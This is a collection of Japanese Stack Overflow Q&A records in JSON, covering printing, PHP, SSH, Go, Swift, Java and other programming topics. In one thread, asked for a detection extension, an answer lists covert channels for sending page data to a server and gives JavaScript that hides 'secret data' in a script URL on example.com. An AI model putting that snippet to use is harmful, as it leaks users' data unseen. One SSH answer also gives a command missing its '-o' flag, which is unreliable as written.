より引用\n>\n\n同じくEPSONの別のQ&Aでは推奨される解像度についても言及がありました。参考までに。\n\n[[FAQ番号:001875-1]解像度について|よくある質問(FAQ)|エプソン](http://faq.epson.jp/faq/00/app/servlet/relatedqa?QID=001875-1#4.)\n\n※実質的な解像度がそこで頭打ちになるというだけで、ドライバにその解像度で送られる、とは限りません。ちょうどBrotherのプリンタがあったので試してみたところ、.NETの\n[`PageSettings.PrinterResolution`](https://msdn.microsoft.com/ja-\njp/library/system.drawing.printing.pagesettings.printerresolution\\(v=vs.110\\).aspx)\nプロパティで調べた解像度は「高速」画質の時だけ300dpi、それ以外はカラーモノクロに関わらず600dpiという結果になりました。\n\n## 参考\n\n * [プリンターと画像データの“dpi”は違う? - 日経トレンディネット](http://trendy.nikkeibp.co.jp/article/tec/camera/20040304/107470/)\n * [プリンターの解像度](http://homepage2.nifty.com/ttoyoshima/Digicam/PrinterRes.htm)\n * [カラープリンタの“解像度”とは?](http://userweb.alles.or.jp/sfujita/jpn/cprn-dpi.htm)\n * [DTPの基礎知識-3](http://www.algo.jp/doc/old/old-site/dtp/Graphic/DTP_03.html) (主にオフセット印刷の話)", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T07:13:23.287", "id": "20397", "last_activity_date": "2015-12-27T03:23:30.417", "last_edit_date": "2015-12-27T03:23:30.417", "last_editor_user_id": "8000", "owner_user_id": "8000", "parent_id": "20387", "post_type": "answer", "score": 11 } ]
20387
20397
20397
{ "accepted_answer_id": null, "answer_count": 1, "body": "```\n\n <?php class SitemapGenerator{\n private $sitemap;\n private $urlset = array();\n \n function __construct(){\n $this->sitemap = new DOMDocument('1.0', 'UTF-8');\n $this->sitemap->preserveWhiteSpace = false;\n $this->sitemap->formatOutput = true;\n \n $this->urlset = $this->sitemap->appendChild( $this->sitemap->createElement(\"urlset\") );\n $this->urlset->setAttribute('xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9');\n }\n \n function add($params){\n $url = $this->urlset->appendChild( $this->sitemap->createElement('url') );\n foreach($params as $key => $value){\n if(strlen($value)){\n $url->appendChild( $this->sitemap->createElement($key, $value) );\n }\n }\n }\n \n function generate($file=null){\n if( is_null($file) ) {\n header(\"Content-Type: text/xml; charset=utf-8\");\n echo $this->sitemap->saveXML();\n } else {\n $this->sitemap->save( $file );\n }\n }\n }\n \n```\n\n上記のコードですが、xmlの最初の部分を \n`<?xml version=\"1.0\" encoding=\"UTF-8\"?>`のみから、 \n`<?xml version=\"1.0\" encoding=\"UTF-8\"?><?xml-stylesheet type='text/xsl'\nhref='xsl-stylesheet2.xsl'?>`にしたいと考えています。\n\nどのように修正を行うべきでしょうか。\n\n詳しい方、ご教示下さい。宜しくお願い致します。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T03:54:58.030", "favorite_count": 0, "id": "20389", "last_activity_date": "2016-01-03T13:48:28.130", "last_edit_date": "2016-01-03T13:48:28.130", "last_editor_user_id": "8000", "owner_user_id": "8619", "post_type": "question", "score": 0, "tags": [ "php", "dom" ], "title": "DOMDocument に <?xml-stylesheet ... ?> を追加するには?", "view_count": 271 }
[ { "body": "xml文書では、`<?` ではじまり`?>`で終わる構文のことを処理命令(Processing Instruction)と呼びます。\n\n今回の質問にあるスタイルシートの記述はこの処理命令にあたります。 \nDOMDocumentクラスにはあらかじめこの処理命令構文を記述するためのメソッド`createProcessingInstruction`が用意されていますので、こちらを使って実現できるかと思います。\n\n```\n\n function generate($file=null){\n if( is_null($file) ) {\n header(\"Content-Type: text/xml; charset=utf-8\");\n \n /* 処理命令構文の生成 */\n $insertBefore = $this->sitemap->firstChild; //挿入する部分を取得\n $styleSheetXml = $this->sitemap->createProcessingInstruction('xml-stylesheet', \"type='text/xsl' href='xsl-stylesheet2.xsl'\"); //Stylesheet処理命令生成\n $this->sitemap->insertBefore($styleSheetXml, $insertBefore); // 指定した場所に挿入\n \n echo $this->sitemap->saveXML();\n } else {\n $this->sitemap->save( $file );\n }\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T00:28:28.067", "id": "20550", "last_activity_date": "2016-01-03T00:28:28.067", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13097", "parent_id": "20389", "post_type": "answer", "score": 1 } ]
20389
null
20550
{ "accepted_answer_id": "20403", "answer_count": 2, "body": "macのターミナルで秘密鍵でサーバーにログインするとき、 \n予め ssh-add にて秘密鍵を登録しておき、\n\nssh -i ~/.ssh/user.rsa [email protected]\n\nにて接続しています。\n\nしかし、これらのサーバーは50近く管理しているため(実際は5つ程度登録しただけで)、次第に \n「too many authentication」というエラーが出てしまうため、 \nssh-add -D で登録したものを全部削除して、接続するものだけ登録 \nということを繰り返しています。\n\nどうして too many authentication が出るのでしょうか? \nsshコマンドではRSAファイルのパスを指定しているのでそのファイルでログインすればいいのになんでssh-\naddしたファイルをすべて使ってログインしようと試みるのでしょうか?\n\n対策はありますか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T04:46:58.600", "favorite_count": 0, "id": "20390", "last_activity_date": "2015-12-26T13:29:08.940", "last_edit_date": "2015-12-26T05:14:35.813", "last_editor_user_id": "10346", "owner_user_id": "10346", "post_type": "question", "score": 0, "tags": [ "macos", "ssh" ], "title": "macのSSHでの「too many authentication」対策", "view_count": 224 }
[ { "body": "`ssh -v`で詳細のログを出すと何かわかるかもしれません。まずは下記のオプションをお試しください。\n\n```\n\n ssh -i ~/.ssh/user.rsa 'IdentitiesOnly yes' [email protected]\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T05:32:21.260", "id": "20392", "last_activity_date": "2015-12-26T05:32:21.260", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7837", "parent_id": "20390", "post_type": "answer", "score": 1 }, { "body": "OpenSSHのsshは-iや.ssh/configのIdentityFileで鍵を指定しても先にssh-\nagentに登録されてる鍵での認証を試行します。.ssh/configでIdentitiesOnlyをyesにすることで、指定した鍵での認証を強制する事ができます。\n\n鍵を指定したらそれを先に使うのが素直な動きに見えるんですが、なんでこういう挙動になっているのかはよくわかりません。\n\n余談ですが、接続先毎に違う鍵を使うのはセキュリティ的にはあまり意味がありません。秘密鍵が1つ漏れたのなら、同じ場所にある他の秘密鍵もすべて漏れたと想定すべきです。その場合の鍵の無効化の事まで考えると、漏れが出やすい分かえって有害かもしれません。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T13:29:08.940", "id": "20403", "last_activity_date": "2015-12-26T13:29:08.940", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5793", "parent_id": "20390", "post_type": "answer", "score": 2 } ]
20390
20403
20403
{ "accepted_answer_id": "20395", "answer_count": 1, "body": "WindowsにAnacondaを入れてPython2.7.11の仮想環境を作成しました。pyHookをpipでインストールしようとしましたが下記エラーのためできません。\n\n```\n\n Could not find a version that satisfies the requirement pyHook (from versions: )\n No matching distribution found for pyHook\n \n```\n\nどうすればインストールできるのでしょうか。\n\n環境は以下のとおりです。\n\n```\n\n Python 2.7.11 :: Anaconda 2.4.1 (64-bit)\n \n```\n\nOSはWindows10 64bitです。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T04:54:51.193", "favorite_count": 0, "id": "20391", "last_activity_date": "2015-12-26T06:59:39.797", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7232", "post_type": "question", "score": 0, "tags": [ "python", "pip" ], "title": "pip install でpyHookをインストール出来ない。", "view_count": 7552 }
[ { "body": "pyHock \n<http://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/>\n\n> System Requirements \n> Windows 2000 or later (low-level hooks are not supported in earlier\n> versions of Windows) Python 2.4 or later Mark \n> Hammond's PyWin32 library (formerly known as win32all extensions) \n> pyHook 1.4 or later\n\nと書かれているので入れれるかはわかりませんが、\n\n> Could not find a version that satisfies the requirement pyHook (from \n> versions: ) No matching distribution found for pyHook\n\npipのこういうエラーはソースをダウンロードしてインストールすると導入できたりします。(当方はMacなので確認できません。)\n\nなので、\n\n 1. <http://sourceforge.net/projects/pyhook/files/latest/download> からソースをダウンロードし\n 2. cmdでソースの解凍したところまで移動して 例)cd /path/to/pyHock\n 3. python setup.py install とかでインストールできませんか?\n\n自信はあまりないですが試してみては如何ですか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T06:59:39.797", "id": "20395", "last_activity_date": "2015-12-26T06:59:39.797", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13818", "parent_id": "20391", "post_type": "answer", "score": 2 } ]
20391
20395
20395
{ "accepted_answer_id": null, "answer_count": 0, "body": "gitlab 8.2.0 \nを \nCentos 6.5上に構築しています。\n\nwiki ページで添付するのは[Attach a file]でできるのですが、 \n削除する方法がわかりません。\n\nサーバ上にログインして確認すると \n/var/opt/gitlab/gitlab-rails/uploads \nという場所にどんどんたまり続けるようです。\n\n一つの解決策として「気にしない」もありかと思いますが、 \n何か消す方法はありませんか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T05:53:25.317", "favorite_count": 0, "id": "20393", "last_activity_date": "2015-12-26T05:53:25.317", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13816", "post_type": "question", "score": 1, "tags": [ "centos", "gitlab" ], "title": "gitlabのwikiページの添付ファイルを削除する方法が見つからない", "view_count": 1498 }
[]
20393
null
null
{ "accepted_answer_id": null, "answer_count": 3, "body": "現在,Webページ上で,密かに情報を送るようなスクリプトコードを検知するChrome拡張機能を作っています. \nひいては,JavaScriptでページ遷移をしないリクエストで情報をサーバーに送信する方法は,どのようなものがありますか?\n\n現状考えつくのは, \n1.XHRリクエストを使う \n2.以下のように,画像ダウンロードリクエストに忍ばせる \nという方法です.\n\nvar img = new Image(); \nimg.src = 'abc.php?d='+data;\n\n他にも方法がありましたらご教授お願いします.", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T06:27:41.030", "favorite_count": 0, "id": "20394", "last_activity_date": "2016-01-26T04:44:58.740", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13817", "post_type": "question", "score": 0, "tags": [ "javascript", "chrome-extension" ], "title": "JavaScriptでページ遷移をしないリクエスト", "view_count": 962 }
[ { "body": "iframeを使いformのtargetをiframeのnameで命名したものにする。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T11:21:59.460", "id": "20401", "last_activity_date": "2015-12-26T11:21:59.460", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13820", "parent_id": "20394", "post_type": "answer", "score": 0 }, { "body": "画像だけでなく、スクリプト、スタイルシート、オーディオ、フォントなど、ありとあらゆるリソースのリクエストのURLに情報を忍ばせることができます。あるいはWebSocket、WebRTCなどでの接続でもデータを送れますし、FlashやJava\nApplet、Silverlightのようなプラグインを利用する方法もあるでしょう。\n\n(追記)\n\n画像と同様に、該当する要素を作成して`src`プロパティを設定するだけです。スクリプトなら`document.createElement(\"script\")`で`script`要素を作って`src`プロパティに任意のURLを設定します。\n\n```\n\n var data = encodeURI(\"seclet data\");\r\n var script = document.createElement(\"script\");\r\n script.src = 'http://example.com/foo.js?d=' + data;\r\n document.body.appendChild(script);\n```\n\nまた、オーディオなら`document.createElement(\"audio\")`でいいし、フォントなら`document.createElement(\"style\")`で`style`要素を作ってから`@import`で適当なフォントのURLをリクエストすればいいでしょう。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T13:45:45.063", "id": "20404", "last_activity_date": "2015-12-26T20:05:12.190", "last_edit_date": "2015-12-26T20:05:12.190", "last_editor_user_id": "10330", "owner_user_id": "10330", "parent_id": "20394", "post_type": "answer", "score": 1 }, { "body": "ウェブソケットとかなかったっけ? \n`ws://~~~~`みたいな", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-26T04:44:58.740", "id": "21317", "last_activity_date": "2016-01-26T04:44:58.740", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20394", "post_type": "answer", "score": 0 } ]
20394
null
20404
{ "accepted_answer_id": "20426", "answer_count": 1, "body": "Golangで下記のコードを実行するとdeadlockを起こします。 \nSetValueの中で、引数として与えられた`value`を`g.CH`に渡す時にdeadlockになっているようです。 \nなぜ、deadlockになってしまうのでしょうか?\n\n```\n\n \n package main\n \n import (\n \"fmt\"\n )\n \n type GeneratorChannel struct {\n X int\n CH chan int\n }\n \n func New() *GeneratorChannel {\n s := GeneratorChannel{}\n s.CH = make(chan int)\n return &s\n }\n \n func (g *GeneratorChannel) SetValue(value int) {\n g.X = value\n g.CH <- g.X\n \n }\n func (g *GeneratorChannel) GetChannelValue() int {\n return <-g.CH\n }\n \n func main() {\n g := New()\n g.SetValue(4)\n fmt.Println(g.GetChannelValue())\n \n }\n \n \n \n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T14:34:58.380", "favorite_count": 0, "id": "20405", "last_activity_date": "2015-12-28T02:19:10.970", "last_edit_date": "2015-12-27T13:39:35.893", "last_editor_user_id": "5246", "owner_user_id": "5246", "post_type": "question", "score": 0, "tags": [ "go" ], "title": "Structの中にあるチャンネルに値をsendするとdeadlockする", "view_count": 457 }
[ { "body": ">\n```\n\n> s.CH = make(chan int)\n> \n```\n\nバッファなしチャネル(容量0)として作成しているため、送信操作`g.CH <- g.X`がブロッキングしています。このとき同時に受信操作`return\n<-g.CH`が行われれば、送受信が成立してブロッキング解除されますが、掲示コードでは送受信を同じGoroutineで行おうとしているため、永遠に受信が完了せずデッドロックしています。\n\n**解決策1:**\nチャネルの容量を1以上に設定する。送信された値は一旦バッファリングされ、後続の受信操作にて値が取り出されます。いずれの操作もブロッキングしないため、デッドロックは回避されます。\n\n```\n\n s.CH = make(chan int, 1)\n \n```\n\nただしこの方法では、チャネルのバッファがあふれると再びデッドロックします。チャネル容量が1の場合、2つの値を連続送信するとデッドロックします。\n\n**解決策2:**\n送信操作を受信とは異なるGoroutine上で実行する。異なるGoroutine間でのチャネル通信となり、デッドロックが回避されます。(チャネルは本来Goroutine間の同期通信に用いる仕組みですから、こちらの方が正攻法かと思います。)\n\n```\n\n go g.SetValue(4)\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T02:19:10.970", "id": "20426", "last_activity_date": "2015-12-28T02:19:10.970", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "49", "parent_id": "20405", "post_type": "answer", "score": 3 } ]
20405
20426
20426
{ "accepted_answer_id": "20485", "answer_count": 1, "body": "iOS9で新規にプロジェクトをつくった場合 \nランドスケープにするとステータスバーが非表示になりますが、 \nビューコントローラーのviewの表示をこれに追従させるには、 \nポートレイトとランドスケープを検知して、 \nviewのフレームを調整しなければならないのでしょうか?\n\nあるいは、 \nもっと簡単にステータスバーの表示/非表示に \n対応できる方法があるのでしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-26T18:37:05.813", "favorite_count": 0, "id": "20407", "last_activity_date": "2015-12-30T13:45:05.903", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12297", "post_type": "question", "score": 2, "tags": [ "swift" ], "title": "iOS9で画面回転時に簡単にステータスバーの表示/非表示に追従できる方法はあるのでしょうか?", "view_count": 246 }
[ { "body": "AutoLayoutを使ってViewを配置していれば、デバイスの回転やステータスバーの表示/非表示に合わせて、自動的に、制約を満たす形でViewの位置・サイズが決まります。わざわざ、自力で調整する必要はありません。\n\n逆に言うと、AutoLayoutで実現できないような配置を行う場合は、すべて自力で調整することになります。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T13:45:05.903", "id": "20485", "last_activity_date": "2015-12-30T13:45:05.903", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7459", "parent_id": "20407", "post_type": "answer", "score": 1 } ]
20407
20485
20485
{ "accepted_answer_id": null, "answer_count": 0, "body": "`JPanel`を継承したクラスに`KeyListener`をつけているのですが、下のコードだと\"入力\"と表示されません。 \nコンストラクタ内にある`mapImg[n] = ImageIO.read(以下省略)`をコードから削除するとキー入力が反応するようになります。\n\nこの事象の発生理由と解決方法をご教授いただけないかと質問させていただきました。 \nどうぞよろしくお願いします。\n\n```\n\n import java.awt.Graphics;\n import java.awt.Graphics2D;\n import java.awt.event.KeyEvent;\n import java.awt.event.KeyListener;\n import java.awt.image.BufferedImage;\n import java.io.File;\n import java.io.IOException;\n \n import javax.imageio.ImageIO;\n import javax.swing.JPanel;\n \n public class WindowPanel extends JPanel implements KeyListener {\n \n public static BufferedImage[] mapImg = new BufferedImage[3];\n public static String path = new File(\".\").getAbsoluteFile().getParent();\n \n \n public WindowPanel() {\n setFocusable(true);\n addKeyListener(this);\n \n try {\n \n mapImg[0] = ImageIO.read(new File(path)).getSubimage(0, 0, 20, 20);\n mapImg[1] = ImageIO.read(new File(path)).getSubimage(20, 0, 20, 20);\n mapImg[2] = ImageIO.read(new File(path)).getSubimage(40, 0, 20, 20);\n \n } catch (IOException e) {\n e.printStackTrace();\n System.out.println(\"エラー\");\n }\n }\n \n @Override\n public void paint(Graphics g) {\n super.paint(g);\n Graphics2D g2 = (Graphics2D) g;\n }\n \n @Override\n public void keyTyped(KeyEvent e) {\n System.out.println(\"入力\");\n }\n \n @Override\n public void keyPressed(KeyEvent e) {\n System.out.println(\"入力\");\n }\n \n @Override\n public void keyReleased(KeyEvent e) {\n System.out.println(\"入力\");\n }\n }\n \n```", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T01:17:16.240", "favorite_count": 0, "id": "20408", "last_activity_date": "2015-12-28T08:27:23.467", "last_edit_date": "2015-12-28T08:27:23.467", "last_editor_user_id": "5778", "owner_user_id": "13821", "post_type": "question", "score": 0, "tags": [ "java", "swing" ], "title": "ImageIO.read使用時のKeyListener<Java>", "view_count": 143 }
[]
20408
null
null
{ "accepted_answer_id": null, "answer_count": 0, "body": "2日前にも質問しましたが、連続で躓いてしまいすいません。。\n\n**やりたいこと&状況** \nこういった構成で、 2,4で取得したデータをデータベースに保存する。 \nTableViewCellクラスは複数のセルをまとめて扱うクラスとして定義してある。\n\n1のセル テキストラベルのみ \n2のセル UIPickerView \n3のセル テキストラベルのみ \n4のセル UITextFieldと 編集終了ボタン \n5のセル Realmデータベースに保存する\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/OM3H2.png)](https://i.stack.imgur.com/OM3H2.png)\n\n**問題点** \n複数のセルから取得したデータを保存するように考えて設計していましたが、 \nセル2,セル4で取得したデータを処理しようと考えておりましたが、 \nこのクラスで var categorySelected = \"\" , var textFieldInputed =\n\"\"で挿入されたデータを扱うことは出来ませんでした。 \nこれはおそらく、TableViewのfunc cellForRowAtIndexPath\nでインスタンス化されたCustomTableViewCellのオブジェクトが個別に生成されているからだろうと思いました(おそらく)。\n\nこのように複数のカスタムされたセルから値を取得し、データベースに保存する(この場合RealmSwift)場合には、 \nどのように設計すべきだったのでしょうか。 \nもちろん、TableViewを使わずに同じことをするというのが現在やりたいことの解なのでしょうが、 \nTableViewCellを複数用いながらという前提なら、そのセルごとに保存させるか、モーダル表示させるなりして処理することが定石なのでしょうか? \nそれともこの状態からうまく処理する方法があるのでしょうか?\n\n**TableView**\n\n```\n\n func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell{\n var cell:UITableViewCell = UITableViewCell()\n \n switch indexPath.row{\n case 0:\n cell = tableView.dequeueReusableCellWithIdentifier(\"cell\", forIndexPath: indexPath)\n case 1:\n cell = tableView.dequeueReusableCellWithIdentifier(\"myPick\", forIndexPath: indexPath) as! CustomAddTraining\n case 2:\n cell = tableView.dequeueReusableCellWithIdentifier(\"cell\", forIndexPath: indexPath)\n case 3:\n cell = tableView.dequeueReusableCellWithIdentifier(\"textField\", forIndexPath: indexPath) as! CustomAddTraining\n case 4:\n cell = tableView.dequeueReusableCellWithIdentifier(\"done\", forIndexPath: indexPath) as! CustomAddTraining\n default:\n break\n \n }\n \n switch indexPath.row{\n case 0:\n cell.textLabel?.text = \"Choose Category\"\n case 1:\n break\n case 2:\n cell.textLabel?.text = \"Name Training\"\n case 3:\n break\n case 4:\n break\n default:\n break\n }\n return cell\n \n }\n func tableView(tableView: UITableView, willSelectRowAtIndexPath indexPath: NSIndexPath) -> NSIndexPath? {\n return nil\n }\n \n```\n\n**CustomTableViewCell**\n\n```\n\n import UIKit\n class CustomAddTraining: UITableViewCell, UITextFieldDelegate, UIPickerViewDataSource, UIPickerViewDelegate {\n \n let categoryList = [\"Front\", \"Back\", \"Abnominal\", \"Leg\", \"Hip\"]\n var categorySelected = \"\"\n var textFieldInputed = \"\"\n var test = \"test\"\n \n @IBOutlet weak var done: UIButton?\n @IBOutlet weak var decideButton: UIButton?\n @IBOutlet weak var myTextField: UITextField?\n \n @IBOutlet weak var myPicker: UIPickerView?\n \n \n override func awakeFromNib() {\n super.awakeFromNib()\n myTextField?.delegate = self\n myTextField?.borderStyle = .RoundedRect\n myPicker?.delegate = self\n myPicker?.dataSource = self\n decideButton?.hidden = true\n }\n \n \n \n override func setSelected(selected: Bool, animated: Bool) {\n super.setSelected(selected, animated: animated)\n \n // Configure the view for the selected state\n \n }\n \n func textFieldDidBeginEditing(textField: UITextField) {\n decideButton!.hidden = false\n }\n \n func textFieldDidEndEditing(textField: UITextField) {\n textFieldInputed = (textField.text)!\n print(textFieldInputed)\n print(categorySelected)\n }\n \n \n @IBAction func decideAction(sender: AnyObject) {\n textFieldShouldReturn(myTextField!)\n }\n \n func textFieldShouldEndEditing(textField: UITextField) -> Bool {\n decideButton!.hidden = true\n return true\n }\n func textFieldShouldReturn(textField: UITextField) -> Bool {\n myTextField!.resignFirstResponder()\n return true\n }\n \n \n \n //pickerに表示する列数を返すデータ・ソースメソッド\n func numberOfComponentsInPickerView(pickerView: UIPickerView) -> Int{\n return 1\n }\n \n //行数を返す\n func pickerView(pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int{\n return categoryList.count\n \n }\n //表示するデータを返す\n func pickerView(pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {\n return categoryList[row]\n }\n //セルを選択したときの処理 Realmに保存\n func pickerView(pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) {\n \n categorySelected = categoryList[row]\n print(categorySelected)\n print(textFieldInputed)\n }\n \n \n \n @IBAction func saveRealmAction(sender: AnyObject) {\n print(textFieldInputed)\n print(categorySelected)\n }\n }\n \n```", "comment_count": 5, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T07:46:17.657", "favorite_count": 0, "id": "20409", "last_activity_date": "2015-12-27T07:46:17.657", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5828", "post_type": "question", "score": 0, "tags": [ "ios", "swift" ], "title": "複数のUITableViewCellから値を取得しデータベースへ保存する際に問題が発生", "view_count": 1903 }
[]
20409
null
null
{ "accepted_answer_id": "20411", "answer_count": 1, "body": "htmlをpdfに変換したく、wkhtmltopdfを使っています。 \n表示が想定より小さくなってしまい、解決策として `--disable-smart-shrinking`\nオプションを試そうと思っているのですが、以下のエラーが出て適用されません。\n\n```\n\n $ xvfb-run -- /usr/bin/wkhtmltopdf --disable-smart-shrinking $INPUT $OUTPUT\n The switch --disable-smart-shrinking, is not support using unpatched qt, and will be ignored.Loading page (1/2)\n Printing pages (2/2)\n Done\n \n```\n\nそこで、patched qtなwkhtmltopdfをインストールしたいのですが、手順または参考になるドキュメント等あればご教授いただけないでしょうか?\n\n以下のページなどを見ていたのですがgitorious.orgがなくなっていたりで躓いております。 \n<https://stackoverflow.com/questions/10981960/wkhtmltopdf-patched-qt>\n\nまた、サイズが想定より小さくなってしまう問題に関して、他に考えられる原因があればご指摘頂けると幸いです。\n\n環境は、ubuntu 14.04、wkhtmltopdf 0.12.2.1 です。 \nよろしくお願いします。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T08:36:49.543", "favorite_count": 0, "id": "20410", "last_activity_date": "2015-12-29T04:45:52.413", "last_edit_date": "2017-05-23T12:38:56.083", "last_editor_user_id": "-1", "owner_user_id": "7616", "post_type": "question", "score": 1, "tags": [ "html", "pdf" ], "title": "pached qt な wkhtmlpdf のインストール方法を教えて下さい", "view_count": 478 }
[ { "body": "Macでしか確認できてないのですが、\n\n`--disable-smart-shrinking` オプションを使いたいのであれば、\n\n[wkhtmltopdf](http://wkhtmltopdf.org/downloads.html) \nからダウンロードしてインストールすればよいように思います。\n\n<http://wkhtmltopdf.org/usage/wkhtmltopdf.txt>\n\nドキュメントに\n\n> wkhtmltopdf 0.12.2.1 (with patched qt)\n\nや\n\n> \\--disable-smart-shrinking Disable the intelligent shrinking strategy \n> used by WebKit that makes the pixel/dpi \n> ratio none constant\n\nと`--disable-smart-shrinking`オプションの記載があります。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T09:16:24.773", "id": "20411", "last_activity_date": "2015-12-27T09:22:41.253", "last_edit_date": "2015-12-27T09:22:41.253", "last_editor_user_id": "9008", "owner_user_id": "9008", "parent_id": "20410", "post_type": "answer", "score": 3 } ]
20410
20411
20411
{ "accepted_answer_id": "20418", "answer_count": 1, "body": "[![button](https://i.stack.imgur.com/JtYut.png)](https://i.stack.imgur.com/JtYut.png)\n\n上記のように、3個×3個=9個ボタンのボタンを並べて、その中で最後にタップされたボタンの数値を、戻り値として活かしたと思います。 \n普通は、UISegmentedControlやUIPickerViewを使うところだとは思いますが、マス目状にボタンがならんだ状態でボタンを使用したいです。 \nこんなことは可能でしょうか?", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T11:29:54.790", "favorite_count": 0, "id": "20413", "last_activity_date": "2016-01-26T13:15:17.943", "last_edit_date": "2015-12-27T12:44:01.017", "last_editor_user_id": "7362", "owner_user_id": "13156", "post_type": "question", "score": 0, "tags": [ "swift", "xcode" ], "title": "たくさん並べたButton(9個)、その中で1つのボタンの数値を返したい。", "view_count": 194 }
[ { "body": "各9個のボタンにメソッドを紐付ければいいんじゃないでしょうか?", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T12:10:29.563", "id": "20418", "last_activity_date": "2015-12-27T12:10:29.563", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5828", "parent_id": "20413", "post_type": "answer", "score": 0 } ]
20413
20418
20418
{ "accepted_answer_id": "20415", "answer_count": 1, "body": "下記のソースコードは、3つの文字が自動的に入れ替わって表示されるものです。、 \nこれらの文字に、それぞれ違う色を設定したくて、番号を打って見たり、CSSで試みたのですが、組み立てがうまくいきません。どうすれば、それぞれの文字に違う色を設定できるでしょうか。 \nご教示ください。\n\n```\n\n <!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n <HTML>\n <HEAD>\n <META http-equiv=\"Content-Type\" content=\"text/html; charset=shift_jis\"> \n <meta http-equiv=\"Content-Script-Type\" content=\"text/javascript\">\n \n \n <TITLE>それぞれの文字に色をつける</TITLE> \n \n <script type=\"text/javascript\">\n <!--\n var n = 0;\n function wordChange(){\n var iv = 3000;\n var words = [ '鬼', '蛇' ,'福'];\n document.getElementById('output').innerHTML = words[n];\n n++;\n if (n > words.length - 1) n = 0;\n setTimeout(wordChange, iv);\n \n }\n window.onload = function() { wordChange(); }\n \n //-->\n </script>\n \n </head>\n \n <BODY>\n \n <SCRIPT type=\"text/javascript\">\n <!--\n document.write(\"<p>\");\n document.write(\"<span id='output' style='font-size:26px; font-weight:bold;'></span>\");\n document.write(\"</p>\");\n //-->\n </script>\n \n  </BODY>\n </HTML>\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T11:45:32.480", "favorite_count": 0, "id": "20414", "last_activity_date": "2015-12-27T11:54:47.450", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9359", "post_type": "question", "score": 0, "tags": [ "javascript" ], "title": "自動的に入れ替わる複数の文字に、違う色をつける方法", "view_count": 107 }
[ { "body": "```\n\n var words = [ '鬼', '蛇' ,'福'];\n document.getElementById('output').innerHTML = words[n];\n \n```\n\nの部分にそれぞれの文字に対応する色を設定するコードを次のように追加します。\n\n```\n\n var words = [ '鬼', '蛇' ,'福'];\n var color = [\"red\", \"green\", \"blue\"];\n document.getElementById('output').innerHTML = words[n];\n document.getElementById('output').style.color = color[n];\n \n```", "comment_count": 3, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T11:54:47.450", "id": "20415", "last_activity_date": "2015-12-27T11:54:47.450", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5044", "parent_id": "20414", "post_type": "answer", "score": 0 } ]
20414
20415
20415
